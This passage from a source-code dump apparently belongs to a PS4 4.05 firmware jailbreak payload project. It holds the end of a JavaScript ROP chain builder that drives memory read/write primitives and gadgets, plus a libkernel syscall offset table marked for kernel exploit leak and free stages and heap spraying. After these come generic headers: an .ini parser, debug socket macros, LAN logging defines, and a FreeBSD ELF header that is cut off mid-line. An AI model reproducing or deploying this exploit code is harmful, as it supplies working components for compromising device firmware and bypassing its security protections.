[rdi], rax"]); 69 | } 70 | 71 | return this; 72 | }; 73 | 74 | /* Called to start a new ROP chain */ 75 | var saferop = function(p, addr) { 76 | this.ropChain = undefined; 77 | this.ropChainPtr = undefined; 78 | this.ropChainEndPtr = undefined; 79 | 80 | if(addr == undefined) 81 | { 82 | this.ropChain = new Uint32Array(0x4000); 83 | this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28)); 84 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4); 85 | } 86 | else 87 | { 88 | this.ropChainPtr = addr; 89 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4); 90 | } 91 | 92 | this.count = 0; 93 | 94 | /* Clears the chain */ 95 | this.clear = function() 96 | { 97 | this.count = 0; 98 | this.runtime = undefined; 99 | 100 | for(var i = 0; i < 0x4000 - 0x8; i += 8) 101 | { 102 | p.write8(this.ropChainPtr.add32(i), 0); 103 | } 104 | }; 105 | 106 | /* Gets the current chain index and increments it */ 107 | this.getChainIndex = function() 108 | { 109 | this.count++; 110 | return this.count-1; 111 | } 112 | 113 | /* Pushes a gadget or value on the stack */ 114 | this.push = function(val) 115 | { 116 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val); 117 | } 118 | 119 | /* Writes a 64-bit value to given location */ 120 | this.push64 = function(where, what) 121 | { 122 | this.push(window.gadgets["pop rdi"]); 123 | this.push(where); 124 | this.push(window.gadgets["pop rsi"]); 125 | this.push(what); 126 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]); 127 | } 128 | 129 | /* Sets up a function call into a module by address */ 130 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) 131 | { 132 | if(rdi != undefined) 133 | { 134 | this.push(window.gadgets["pop rdi"]); 135 | this.push(rdi); 136 | } 137 | 138 | if(rsi != undefined) 139 | { 140 | this.push(window.gadgets["pop rsi"]); 141 | this.push(rsi); 142 | } 143 | 144 | if(rdx != undefined) 145 | { 146 | this.push(window.gadgets["pop rdx"]); 147 | this.push(rdx); 148 | } 149 | 150 | if(rcx != undefined) 151 | { 152 | this.push(window.gadgets["pop rcx"]); 153 | this.push(rcx); 154 | } 155 | 156 | if(r8 != undefined) 157 | { 158 | this.push(window.gadgets["pop r8"]); 159 | this.push(r8); 160 | } 161 | 162 | if(r9 != undefined) 163 | { 164 | this.push(window.gadgets["pop r9"]); 165 | this.push(r9); 166 | } 167 | 168 | this.push(rip); 169 | return this; 170 | } 171 | 172 | /* Sets up a return value location*/ 173 | this.saveReturnValue = function(where) 174 | { 175 | this.push(window.gadgets["pop rdi"]); 176 | this.push(where); 177 | this.push(window.gadgets["mov qword ptr [rdi], rax"]); 178 | } 179 | 180 | /* Loads the ROP chain and initializes it */ 181 | this.run = function() 182 | { 183 | var retv = p.loadchain(this); 184 | this.clear(); 185 | 186 | return retv; 187 | } 188 | 189 | return this; 190 | }; 191 | 192 | /* Called to start a new ROP chain */ 193 | var rop = function(p, addr) { 194 | this.ropChainSize = 0x4000; 195 | this.ropChain = undefined; 196 | this.ropChainBasePtr = undefined; 197 | this.ropChainPtr = undefined; 198 | this.ropChainEndPtr = undefined; 199 | 200 | if(addr == undefined) 201 | { 202 | this.ropChain = new Uint32Array((this.ropChainSize/4)*2); 203 | this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize); 204 | this.ropChainPtr = this.ropChainBasePtr.add32(8); 205 | this.ropChainEndPtr = this.ropChainBasePtr.add32(this.ropChainSize); 206 | } 207 | else 208 | { 209 | this.ropChainBasePtr = addr.add32(0); 210 | this.ropChainPtr = addr.add32(8); 211 | this.ropChainEndPtr = addr.add32(this.ropChainSize); 212 | } 213 | 214 | this.count = 0; 215 | 216 | /* Clears the chain */ 217 | this.clear = function() 218 | { 219 | this.count = 0; 220 | this.runtime = undefined; 221 | 222 | for(var i = 0; i < this.ropChainSize-8; i += 8) 223 | { 224 | p.write8(this.ropChainBasePtr.add32(i), 0); 225 | } 226 | }; 227 | 228 | /* Gets the current chain index and increments it */ 229 | this.getChainIndex = function() 230 | { 231 | this.count++; 232 | return this.count-1; 233 | } 234 | 235 | /* Pushes a gadget or value on the stack */ 236 | this.push = function(val) 237 | { 238 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val); 239 | } 240 | 241 | /* Writes a 64-bit value to given location */ 242 | this.push64 = function(where, what) 243 | { 244 | this.push(window.gadgets["pop rdi"]); 245 | this.push(where); 246 | this.push(window.gadgets["pop rsi"]); 247 | this.push(what); 248 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]); 249 | } 250 | 251 | /* Sets up a function call into a module by address */ 252 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) 253 | { 254 | if(rdi != undefined) 255 | { 256 | this.push(window.gadgets["pop rdi"]); 257 | this.push(rdi); 258 | } 259 | 260 | if(rsi != undefined) 261 | { 262 | this.push(window.gadgets["pop rsi"]); 263 | this.push(rsi); 264 | } 265 | 266 | if(rdx != undefined) 267 | { 268 | this.push(window.gadgets["pop rdx"]); 269 | this.push(rdx); 270 | } 271 | 272 | if(rcx != undefined) 273 | { 274 | this.push(window.gadgets["pop rcx"]); 275 | this.push(rcx); 276 | } 277 | 278 | if(r8 != undefined) 279 | { 280 | this.push(window.gadgets["pop r8"]); 281 | this.push(r8); 282 | } 283 | 284 | if(r9 != undefined) 285 | { 286 | this.push(window.gadgets["pop r9"]); 287 | this.push(r9); 288 | } 289 | 290 | this.push(rip); 291 | return this; 292 | } 293 | 294 | /* Sets up a return value location*/ 295 | this.saveReturnValue = function(where) 296 | { 297 | this.push(window.gadgets["pop rdi"]); 298 | this.push(where); 299 | this.push(window.gadgets["mov qword ptr [rdi], rax"]); 300 | } 301 | 302 | /* Loads the ROP chain and initializes it */ 303 | this.run = function() 304 | { 305 | var retv = p.loadchain(this); 306 | this.clear(); 307 | 308 | return retv; 309 | } 310 | 311 | return this; 312 | }; 313 | -------------------------------------------------------------------------------- /405/exploit/syscalls.js: -------------------------------------------------------------------------------- 1 | /* Holds system call wrapper offsets for user's specific firmware */ 2 | window.syscalls = []; 3 | window.memcalls = []; 4 | 5 | /* These are the offsets in libkernel for system call wrappers */ 6 | window.syscallMap = 7 | { 8 | '4.05': 9 | { 10 | 3: 0x25F0, 11 | 4: 0x2730, 12 | 5: 0x2570, 13 | 6: 0x24D0, 14 | 20: 0x06F0, 15 | 23: 0x0710, 16 | 24: 0x0730, 17 | 54: 0x0970, // Heap spray via sys_ioctl 18 | 97: 0x0B70, 19 | 98: 0x24F0, 20 | 203: 0x1030, // Prefaulting 21 | 477: 0x27B0, // sys_mmap 22 | 557: 0x1AF0, // Kernel Exploit Free P1 "sys_namedobj_create" 23 | 558: 0x1B10, // Kernel Exploit Free P3 "sys_namedobj_delete" 24 | 601: 0x1E70, // Kernel Exploit Free P2 "sys_mdbg_service", 25 | 632: 0x21D0, // Kernel Exploit Leak P1 "sys_thr_suspend_ucontext" 26 | 633: 0x21F0, // Kernel Exploit Leak P3 "sys_thr_resume_ucontext" 27 | 634: 0x2210, // Kernel Exploit Leak P2 "sys_thr_get_ucontext" 28 | } 29 | } 30 | 31 | /* A long ass map of system call names -> number, you shouldn't need to touch this */ 32 | window.syscallnames = 33 | { 34 | "sys_exit": 1, 35 | "sys_fork": 2, 36 | "sys_read": 3, 37 | "sys_write": 4, 38 | "sys_open": 5, 39 | "sys_close": 6, 40 | "sys_wait4": 7, 41 | "sys_unlink": 10, 42 | "sys_chdir": 12, 43 | "sys_chmod": 15, 44 | "sys_getpid": 20, 45 | "sys_setuid": 23, 46 | "sys_getuid": 24, 47 | "sys_geteuid": 25, 48 | "sys_recvmsg": 27, 49 | "sys_sendmsg": 28, 50 | "sys_recvfrom": 29, 51 | "sys_accept": 30, 52 | "sys_getpeername": 31, 53 | "sys_getsockname": 32, 54 | "sys_access": 33, 55 | "sys_chflags": 34, 56 | "sys_fchflags": 35, 57 | "sys_sync": 36, 58 | "sys_kill": 37, 59 | "sys_stat": 38, 60 | "sys_getppid": 39, 61 | "sys_dup": 41, 62 | "sys_pipe": 42, 63 | "sys_getegid": 43, 64 | "sys_profil": 44, 65 | "sys_getgid": 47, 66 | "sys_getlogin": 49, 67 | "sys_setlogin": 50, 68 | "sys_sigaltstack": 53, 69 | "sys_ioctl": 54, 70 | "sys_reboot": 55, 71 | "sys_revoke": 56, 72 | "sys_execve": 59, 73 | "sys_execve": 59, 74 | "sys_msync": 65, 75 | "sys_munmap": 73, 76 | "sys_mprotect": 74, 77 | "sys_madvise": 75, 78 | "sys_mincore": 78, 79 | "sys_getgroups": 79, 80 | "sys_setgroups": 80, 81 | "sys_setitimer": 83, 82 | "sys_getitimer": 86, 83 | "sys_getdtablesize": 89, 84 | "sys_dup2": 90, 85 | "sys_fcntl": 92, 86 | "sys_select": 93, 87 | "sys_fsync": 95, 88 | "sys_setpriority": 96, 89 | "sys_socket": 97, 90 | "sys_connect": 98, 91 | "sys_getpriority": 100, 92 | "sys_send": 101, 93 | "sys_recv": 102, 94 | "sys_bind": 104, 95 | "sys_setsockopt": 105, 96 | "sys_listen": 106, 97 | "sys_recvmsg": 113, 98 | "sys_sendmsg": 114, 99 | "sys_gettimeofday": 116, 100 | "sys_getrusage": 117, 101 | "sys_getsockopt": 118, 102 | "sys_readv": 120, 103 | "sys_writev": 121, 104 | "sys_settimeofday": 122, 105 | "sys_fchmod": 124, 106 | "sys_recvfrom": 125, 107 | "sys_setreuid": 126, 108 | "sys_setregid": 127, 109 | "sys_rename": 128, 110 | "sys_flock": 131, 111 | "sys_sendto": 133, 112 | "sys_shutdown": 134, 113 | "sys_socketpair": 135, 114 | "sys_mkdir": 136, 115 | "sys_rmdir": 137, 116 | "sys_utimes": 138, 117 | "sys_adjtime": 140, 118 | "sys_getpeername": 141, 119 | "sys_setsid": 147, 120 | "sys_sysarch": 165, 121 | "sys_setegid": 182, 122 | "sys_seteuid": 183, 123 | "sys_fstat": 189, 124 | "sys_lstat": 190, 125 | "sys_pathconf": 191, 126 | "sys_fpathconf": 192, 127 | "sys_getrlimit": 194, 128 | "sys_setrlimit": 195, 129 | "sys_getdirentries": 196, 130 | "sys___sysctl": 202, 131 | "sys_mlock": 203, 132 | "sys_munlock": 204, 133 | "sys_futimes": 206, 134 | "sys_poll": 209, 135 | "sys_clock_gettime": 232, 136 | "sys_clock_settime": 233, 137 | "sys_clock_getres": 234, 138 | "sys_ktimer_create": 235, 139 | "sys_ktimer_delete": 236, 140 | "sys_ktimer_settime": 237, 141 | "sys_ktimer_gettime": 238, 142 | "sys_ktimer_getoverrun": 239, 143 | "sys_nanosleep": 240, 144 | "sys_rfork": 251, 145 | "sys_issetugid": 253, 146 | "sys_getdents": 272, 147 | "sys_preadv": 289, 148 | "sys_pwritev": 290, 149 | "sys_getsid": 310, 150 | "sys_aio_suspend": 315, 151 | "sys_mlockall": 324, 152 | "sys_munlockall": 325, 153 | "sys_sched_setparam": 327, 154 | "sys_sched_getparam": 328, 155 | "sys_sched_setscheduler": 329, 156 | "sys_sched_getscheduler": 330, 157 | "sys_sched_yield": 331, 158 | "sys_sched_get_priority_max": 332, 159 | "sys_sched_get_priority_min": 333, 160 | "sys_sched_rr_get_interval": 334, 161 | "sys_utrace": 335, 162 | "sys_sigprocmask": 340, 163 | "sys_sigprocmask": 340, 164 | "sys_sigsuspend": 341, 165 | "sys_sigpending": 343, 166 | "sys_sigtimedwait": 345, 167 | "sys_sigwaitinfo": 346, 168 | "sys_kqueue": 362, 169 | "sys_kevent": 363, 170 | "sys_uuidgen": 392, 171 | "sys_sendfile": 393, 172 | "sys_fstatfs": 397, 173 | "sys_ksem_close": 400, 174 | "sys_ksem_post": 401, 175 | "sys_ksem_wait": 402, 176 | "sys_ksem_trywait": 403, 177 | "sys_ksem_init": 404, 178 | "sys_ksem_open": 405, 179 | "sys_ksem_unlink": 406, 180 | "sys_ksem_getvalue": 407, 181 | "sys_ksem_destroy": 408, 182 | "sys_sigaction": 416, 183 | "sys_sigreturn": 417, 184 | "sys_getcontext": 421, 185 | "sys_setcontext": 422, 186 | "sys_swapcontext": 423, 187 | "sys_sigwait": 429, 188 | "sys_thr_create": 430, 189 | "sys_thr_exit": 431, 190 | "sys_thr_self": 432, 191 | "sys_thr_kill": 433, 192 | "sys_ksem_timedwait": 441, 193 | "sys_thr_suspend": 442, 194 | "sys_thr_wake": 443, 195 | "sys_kldunloadf": 444, 196 | "sys__umtx_op": 454, 197 | "sys__umtx_op": 454, 198 | "sys_thr_new": 455, 199 | "sys_sigqueue": 456, 200 | "sys_thr_set_name": 464, 201 | "sys_rtprio_thread": 466, 202 | "sys_pread": 475, 203 | "sys_pwrite": 476, 204 | "sys_mmap": 477, 205 | "sys_lseek": 478, 206 | "sys_truncate": 479, 207 | "sys_ftruncate": 480, 208 | "sys_thr_kill2": 481, 209 | "sys_shm_open": 482, 210 | "sys_shm_unlink": 483, 211 | "sys_cpuset_getid": 486, 212 | "sys_cpuset_getaffinity": 487, 213 | "sys_cpuset_setaffinity": 488, 214 | "sys_openat": 499, 215 | "sys_pselect": 522, 216 | 217 | "sys_regmgr_call": 532, 218 | "sys_jitshm_create": 533, 219 | "sys_jitshm_alias": 534, 220 | "sys_dl_get_list": 535, 221 | "sys_dl_get_info": 536, 222 | "sys_dl_notify_event": 537, 223 | "sys_evf_create": 538, 224 | "sys_evf_delete": 539, 225 | "sys_evf_open": 540, 226 | "sys_evf_close": 541, 227 | "sys_evf_wait": 542, 228 | "sys_evf_trywait": 543, 229 | "sys_evf_set": 544, 230 | "sys_evf_clear": 545, 231 | "sys_evf_cancel": 546, 232 | "sys_query_memory_protection": 47, 233 | "sys_batch_map": 548, 234 | "sys_osem_create": 549, 235 | "sys_osem_delete": 550, 236 | "sys_osem_open": 551, 237 | "sys_osem_close": 552, 238 | "sys_osem_wait": 553, 239 | "sys_osem_trywait": 554, 240 | "sys_osem_post": 555, 241 | "sys_osem_cancel": 556, 242 | "sys_namedobj_create": 557, 243 | "sys_namedobj_delete": 558, 244 | "sys_set_vm_container": 559, 245 | "sys_debug_init": 560, 246 | "sys_suspend_process": 561, 247 | "sys_resume_process": 562, 248 | "sys_opmc_enable": 563, 249 | "sys_opmc_disable": 564, 250 | "sys_opmc_set_ctl": 565, 251 | "sys_opmc_set_ctr": 566, 252 | "sys_opmc_get_ctr": 567, 253 | "sys_budget_create": 568, 254 | "sys_budget_delete": 569, 255 | "sys_budget_get": 570, 256 | "sys_budget_set": 571, 257 | "sys_virtual_query": 572, 258 | "sys_mdbg_call": 573, 259 | "sys_sblock_create": 574, 260 | "sys_sblock_delete": 575, 261 | "sys_sblock_enter": 576, 262 | "sys_sblock_exit": 577, 263 | "sys_sblock_xenter": 578, 264 | "sys_sblock_xexit": 579, 265 | "sys_eport_create": 580, 266 | "sys_eport_delete": 581, 267 | "sys_eport_trigger": 582, 268 | "sys_eport_open": 583, 269 | "sys_eport_close": 584, 270 | "sys_is_in_sandbox": 585, 271 | "sys_dmem_container": 586, 272 | "sys_get_authinfo": 587, 273 | "sys_mname": 588, 274 | "sys_dynlib_dlopen": 589, 275 | "sys_dynlib_dlclose": 590, 276 | "sys_dynlib_dlsym": 591, 277 | "sys_dynlib_get_list": 592, 278 | "sys_dynlib_get_info": 593, 279 | "sys_dynlib_load_prx": 594, 280 | "sys_dynlib_unload_prx": 595, 281 | "sys_dynlib_do_copy_relocations": 596, 282 | "sys_dynlib_prepare_dlclose": 597, 283 | "sys_dynlib_get_proc_param": 598, 284 | "sys_dynlib_process_needed_and_relocate": 599, 285 | "sys_sandbox_path": 600, 286 | "sys_mdbg_service": 601, 287 | "sys_randomized_path": 602, 288 | "sys_rdup": 603, 289 | "sys_dl_get_metadata": 604, 290 | "sys_workaround8849": 605, 291 | "sys_is_development_mode": 606, 292 | "sys_get_self_auth_info": 607, 293 | "sys_dynlib_get_info_ex": 608, 294 | "sys_budget_get_ptype": 610, 295 | "sys_budget_getid": 609, 296 | "sys_get_paging_stats_of_all_threads": 611, 297 | "sys_get_proc_type_info": 612, 298 | "sys_get_resident_count": 613, 299 | "sys_prepare_to_suspend_process": 614, 300 | "sys_get_resident_fmem_count": 615, 301 | "sys_thr_get_name": 616, 302 | "sys_set_gpo": 617, 303 | "sys_thr_suspend_ucontext": 632, 304 | "sys_thr_resume_ucontext": 633, 305 | "sys_thr_get_ucontext": 634 306 | } 307 | -------------------------------------------------------------------------------- /405/include/cfg.h: -------------------------------------------------------------------------------- 1 | /* inih -- simple .ini/.cfg file parser 2 | 3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project 4 | home page for more info: 5 | 6 | https://github.com/benhoyt/inih 7 | 8 | */ 9 | 10 | #ifndef __CFG_H__ 11 | #define __CFG_H__ 12 | 13 | /* Nonzero if cfg_handler callback should accept lineno parameter. */ 14 | #ifndef CFG_HANDLER_LINENO 15 | #define CFG_HANDLER_LINENO 0 16 | #endif 17 | 18 | /* Typedef for prototype of handler function. */ 19 | #if CFG_HANDLER_LINENO 20 | typedef int (*cfg_handler)(void* user, const char* name, const char* value, int lineno); 21 | #else 22 | typedef int (*cfg_handler)(void* user, const char* name, const char* value); 23 | #endif 24 | 25 | /* Typedef for prototype of fgets-style reader function. */ 26 | typedef char* (*cfg_reader)(char* str, int num, void* stream); 27 | 28 | /* Parse given CONF-style file. May have name=value pairs 29 | (whitespace stripped), and comments starting with ';' (semicolon). 30 | 31 | For each name=value pair parsed, call handler function with given user 32 | pointer and value (data only valid for duration 33 | of handler call). Handler should return nonzero on success, zero on error. 34 | 35 | Returns 0 on success, line number of first error on parse error (doesn't 36 | stop on first error), -1 on file open error, or -2 on memory allocation 37 | error (only when CFG_USE_STACK is zero). 38 | */ 39 | int cfg_parse(const char* filename, cfg_handler handler, void* user); 40 | 41 | /* Same as cfg_parse(), but takes a FILE* instead of filename. This doesn't 42 | close the file when it's finished -- the caller must do that. */ 43 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user); 44 | 45 | /* Same as cfg_parse(), but takes an cfg_reader function pointer instead of 46 | filename. Used for implementing custom or string-based I/O (see also 47 | cfg_parse_string). */ 48 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler, 49 | void* user); 50 | 51 | /* Same as cfg_parse(), but takes a zero-terminated string with the CONF data 52 | instead of a file. Useful for parsing CONF data from a network socket or 53 | already in memory. */ 54 | int cfg_parse_string(const char* string, cfg_handler handler, void* user); 55 | 56 | /* Nonzero to allow multi-line value parsing, in the style of Python's 57 | configparser. If allowed, cfg_parse() will call the handler with the same 58 | name for each subsequent line parsed. */ 59 | #ifndef CFG_ALLOW_MULTILINE 60 | #define CFG_ALLOW_MULTILINE 0 61 | #endif 62 | 63 | /* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of 64 | the file. See http://code.google.com/p/inih/issues/detail?id=21 */ 65 | #ifndef CFG_ALLOW_BOM 66 | #define CFG_ALLOW_BOM 0 67 | #endif 68 | 69 | /* Nonzero to allow inline comments (with valid inline comment characters 70 | specified by CFG_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match 71 | Python 3.2+ configparser behaviour. */ 72 | #ifndef CFG_ALLOW_INLINE_COMMENTS 73 | #define CFG_ALLOW_INLINE_COMMENTS 1 74 | #endif 75 | #ifndef CFG_INLINE_COMMENT_PREFIXES 76 | #define CFG_INLINE_COMMENT_PREFIXES ";" 77 | #endif 78 | 79 | /* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */ 80 | #ifndef CFG_USE_STACK 81 | #define CFG_USE_STACK 1 82 | #endif 83 | 84 | /* Maximum line length for any line in CONF file (stack or heap). Note that 85 | this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */ 86 | #ifndef CFG_MAX_LINE 87 | #define CFG_MAX_LINE 200 88 | #endif 89 | 90 | /* Nonzero to allow heap line buffer to grow via realloc(), zero for a 91 | fixed-size buffer of CFG_MAX_LINE bytes. Only applies if CFG_USE_STACK is 92 | zero. */ 93 | #ifndef CFG_ALLOW_REALLOC 94 | #define CFG_ALLOW_REALLOC 0 95 | #endif 96 | 97 | /* Initial size in bytes for heap line buffer. Only applies if CFG_USE_STACK 98 | is zero. */ 99 | #ifndef CFG_INITIAL_ALLOC 100 | #define CFG_INITIAL_ALLOC 200 101 | #endif 102 | 103 | /* Stop parsing on first error (default is to keep parsing). */ 104 | #ifndef CFG_STOP_ON_FIRST_ERROR 105 | #define CFG_STOP_ON_FIRST_ERROR 0 106 | #endif 107 | 108 | #endif /* __CFG_H__ */ 109 | -------------------------------------------------------------------------------- /405/include/debug.h: -------------------------------------------------------------------------------- 1 | #ifndef DEBUG_H 2 | #define DEBUG_H 3 | 4 | #define PRIx64 "llx" 5 | #define PRIu64 "llu" 6 | #define PRId64 "lld" 7 | 8 | int sock; 9 | char notify_buf[512]; 10 | 11 | void initDebugSocket(void); 12 | void closeDebugSocket(void); 13 | 14 | #ifdef DEBUG_SOCKET 15 | #define printfsocket(format, ...)\ 16 | do {\ 17 | char __printfsocket_buffer[512];\ 18 | int __printfsocket_size = sprintf(__printfsocket_buffer, format, ##__VA_ARGS__);\ 19 | sceNetSend(sock, __printfsocket_buffer, __printfsocket_size, 0);\ 20 | } while(0) 21 | #else 22 | #define printfsocket(format, ...) (void)0 23 | #endif 24 | 25 | void notify(char *message); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /405/include/defines.h: -------------------------------------------------------------------------------- 1 | #ifndef __DEFINES 2 | #define __DEFINES 3 | 4 | #define VERSION "1.0" 5 | 6 | #define CONFIG_FILE "ps4-pkg2usb.cfg" 7 | 8 | //#define DEBUG_SOCKET 9 | 10 | #define LOG_IP "192.168.1.200" 11 | #define LOG_PORT 9023 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /405/include/elf64.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 1996-1998 John D. Polstra. 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 | * SUCH DAMAGE. 25 | * 26 | * $FreeBSD: release/9.0.0/sys/sys/elf64.h 186667 2009-01-01 02:08:56Z obrien $ 27 | */ 28 | 29 | 30 | 31 | #include "elf_common.h" 32 | 33 | /* 34 | * ELF definitions common to all 64-bit architectures. 35 | */ 36 | 37 | typedef uint64_t Elf64_Addr; 38 | typedef uint16_t Elf64_Half; 39 | typedef uint64_t Elf64_Off; 40 | typedef int32_t Elf64_Sword; 41 | typedef int64_t Elf64_Sxword; 42 | typedef uint32_t Elf64_Word; 43 | typedef uint64_t Elf64_Lword; 44 | typedef uint64_t Elf64_Xword; 45 | 46 | /* 47 | * Types of dynamic symbol hash table bucket and chain elements. 48 | * 49 | * This is inconsistent among 64 bit architectures, so a machine dependent 50 | * typedef is required. 51 | */ 52 | 53 | typedef Elf64_Word Elf64_Hashelt; 54 | 55 | /* Non-standard class-dependent datatype used for abstraction. */ 56 | typedef Elf64_Xword Elf64_Size; 57 | typedef Elf64_Sxword Elf64_Ssize; 58 | 59 | /* 60 | * ELF header. 61 | */ 62 | 63 | typedef struct { 64 | unsigned char e_ident[EI_NIDENT]; /* File identification. */ 65 | Elf64_Half e_type; /* File type. */ 66 | Elf64_Half e_machine; /* Machine architecture. */ 67 | Elf64_Word e_version; /* ELF format version. */ 68 | Elf64_Addr e_entry; /* Entry point. */ 69 | Elf64_Off e_phoff; /* Program header file offset. */ 70 | Elf64_Off e_shoff; /* Section header file offset. */ 71 | Elf64_Word e_flags; /* Architecture-specific flags. */ 72 | Elf64_Half e_ehsize; /* Size of ELF header in bytes. */ 73 | Elf64_Half e_phentsize; /* Size of program header entry. */ 74 | Elf64_Half e_phnum; /* Number of program header entries. */ 75 | Elf64_Half e_shentsize; /* Size of section header entry. */ 76 | Elf64_Half e_shnum; /* Number of section header entries. */ 77 | Elf64_Half e_shstrndx; /* Section name strings section. */ 78 | } Elf64_Ehdr; 79 | 80 | /* 81 | * Section header. 82 | */ 83 | 84 | typedef struct { 85 | Elf64_Word sh_name; /* Section name (index into the 86 | section header string table). */ 87 | Elf64_Word sh_type; /* Section type. */ 88 | Elf64_Xword sh_flags; /* Section flags. */ 89 | Elf64_Addr sh_addr; /* Address in memory image. */ 90 | Elf64_Off sh_offset; /* Offset in file. */ 91 | Elf64_Xword sh_size; /* Size in bytes. */ 92 | Elf64_Word sh_link; /* Index of a related section. */ 93 | Elf64_Word sh_info; /* Depends on section type. */ 94 | Elf64_Xword sh_addralign; /* Alignment in bytes. */ 95 | Elf64_Xword sh_entsize; /* Size of each entry in section. */ 96 | } Elf64_Shdr; 97 | 98 | /* 99 | * Program header. 100 | */ 101 | 102 | typedef struct { 103 | Elf64_Word p_type; /* Entry type. */ 104 | Elf64_Word p_flags; /* Access permission flags. */ 105 | Elf64_Off p_offset; /* File offset of contents. */ 106 | Elf64_Addr p_vaddr; /* Virtual address in memory image. */ 107 | Elf64_Addr p_paddr; /* Physical address (not used). */ 108 | Elf64_Xword p_filesz; /* Size of contents in file. */ 109 | Elf64_Xword p_memsz; /* Size of contents in memory. */ 110 | Elf64_Xword p_align; /* Alignment in memory and file. */ 111 | } Elf64_Phdr; 112 | 113 | /* 114 | * Dynamic structure. The ".dynamic" section contains an array of them. 115 | */ 116 | 117 | typedef struct { 118 | Elf64_Sxword d_tag; /* Entry type. */ 119 | union { 120 | Elf64_Xword d_val; /* Integer value. */ 121 | Elf64_Addr d_ptr; /* Address value. */ 122 | } d_un; 123 | } Elf64_Dyn; 124 | 125 | /* 126 | * Relocation entries. 127 | */ 128 | 129 | /* Relocations that don't need an addend field. */ 130 | typedef struct { 131 | Elf64_Addr r_offset; /* Location to be relocated. */ 132 | Elf64_Xword r_info; /* Relocation type and symbol index. */ 133 | } Elf64_Rel; 134 | 135 | /* Relocations that need an addend field. */ 136 | typedef struct { 137 | Elf64_Addr r_offset; /* Location to be relocated. */ 138 | Elf64_Xword r_info; /* Relocation type and symbol index. */ 139 | Elf64_Sxword r_addend; /* Addend. */ 140 | } Elf64_Rela; 141 | 142 | /* Macros for accessing the fields of r_info. */ 143 | #define ELF64_R_SYM(info) ((info) >> 32) 144 | #define ELF64_R_TYPE(info) ((info) & 0xffffffffL) 145 | 146 | /* Macro for constructing r_info from field values. */ 147 | #define ELF64_R_INFO(sym, type) (((sym) << 32) + ((type) & 0xffffffffL)) 148 | 149 | #define ELF64_R_TYPE_DATA(info) (((Elf64_Xword)(info)<<32)>>40) 150 | #define ELF64_R_TYPE_ID(info) (((Elf64_Xword)(info)<<56)>>56) 151 | #define ELF64_R_TYPE_INFO(data, type) \ 152 | (((Elf64_Xword)(data)<<8)+(Elf64_Xword)(type)) 153 | 154 | /* 155 | * Note entry header 156 | */ 157 | typedef Elf_Note Elf64_Nhdr; 158 | 159 | /* 160 | * Move entry 161 | */ 162 | typedef struct { 163 | Elf64_Lword m_value; /* symbol value */ 164 | Elf64_Xword m_info; /* size + index */ 165 | Elf64_Xword m_poffset; /* symbol offset */ 166 | Elf64_Half m_repeat; /* repeat count */ 167 | Elf64_Half m_stride; /* stride info */ 168 | } Elf64_Move; 169 | 170 | #define ELF64_M_SYM(info) ((info)>>8) 171 | #define ELF64_M_SIZE(info) ((unsigned char)(info)) 172 | #define ELF64_M_INFO(sym, size) (((sym)<<8)+(unsigned char)(size)) 173 | 174 | /* 175 | * Hardware/Software capabilities entry 176 | */ 177 | typedef struct { 178 | Elf64_Xword c_tag; /* how to interpret value */ 179 | union { 180 | Elf64_Xword c_val; 181 | Elf64_Addr c_ptr; 182 | } c_un; 183 | } Elf64_Cap; 184 | 185 | /* 186 | * Symbol table entries. 187 | */ 188 | 189 | typedef struct { 190 | Elf64_Word st_name; /* String table index of name. */ 191 | unsigned char st_info; /* Type and binding information. */ 192 | unsigned char st_other; /* Reserved (not used). */ 193 | Elf64_Half st_shndx; /* Section index of symbol. */ 194 | Elf64_Addr st_value; /* Symbol value. */ 195 | Elf64_Xword st_size; /* Size of associated object. */ 196 | } Elf64_Sym; 197 | 198 | /* Macros for accessing the fields of st_info. */ 199 | #define ELF64_ST_BIND(info) ((info) >> 4) 200 | #define ELF64_ST_TYPE(info) ((info) & 0xf) 201 | 202 | /* Macro for constructing st_info from field values. */ 203 | #define ELF64_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) 204 | 205 | /* Macro for 